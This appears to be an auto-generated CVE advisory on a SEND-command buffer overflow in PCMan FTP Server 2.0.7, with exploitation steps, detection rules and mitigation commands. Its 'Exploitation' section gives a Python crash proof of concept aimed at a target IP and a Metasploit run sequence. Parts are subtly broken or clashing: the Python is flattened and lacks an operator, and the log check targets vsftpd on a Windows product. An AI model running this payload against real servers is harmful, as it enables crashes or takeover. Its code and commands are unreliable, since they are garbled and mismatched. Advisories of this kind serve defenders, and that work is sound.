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How the CVE Works
CVE-2025-4181 is a critical buffer overflow vulnerability in PCMan FTP Server 2.0.7, specifically in the SEND command handler. The flaw occurs due to insufficient bounds checking when processing overly long input, allowing an attacker to overwrite adjacent memory regions. Remote exploitation is possible by sending a crafted FTP command, leading to arbitrary code execution or server crashes. The vulnerability stems from improper handling of user-supplied data in the command parser, enabling attackers to manipulate the execution flow via a heap or stack-based overflow. Publicly available exploits leverage this to gain unauthorized control over the server.
DailyCVE Form
Platform: PCMan FTP Server
Version: 2.0.7
Vulnerability: Buffer Overflow
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation:
- Craft a malicious FTP `SEND` command with excessive payload:
import socket target = "192.168.1.100" port = 21 payload = b"SEND " + b"A" 2000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(payload)
2. Use Metasploit module (if available):
use exploit/windows/ftp/pcman_send_overflow set RHOSTS <target> run
Protection:
1. Apply vendor patches immediately.
2. Disable anonymous FTP access.
- Implement network segmentation to restrict FTP server exposure.
- Deploy IDS/IPS rules to detect oversized FTP commands:
alert ftp any any -> any 21 (msg:"CVE-2025-4181 Exploit Attempt"; flow:to_server; content:"SEND "; depth:5; isdataat:2000,relative; sid:1000001;)
Analytics:
- Attack Vector: Remote (unauthenticated)
- CVSS 4.0 Score: 9.8 (Critical)
- Exploitability: High (public PoC available)
- Affected Systems: Windows-based FTP servers running PCMan 2.0.7.
Mitigation Commands:
- Block FTP port (21) at firewall:
iptables -A INPUT -p tcp --dport 21 -j DROP
- Monitor logs for exploitation attempts:
grep "SEND.{2000,}" /var/log/vsftpd.log
Memory Protection (Windows):
Enable DEP and ASLR:
Set-ProcessMitigation -System -Enable DEP,ASLR
References:
- Vendor advisory: PCMan FTP Server Patch
- NVD: CVE-2025-4181
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
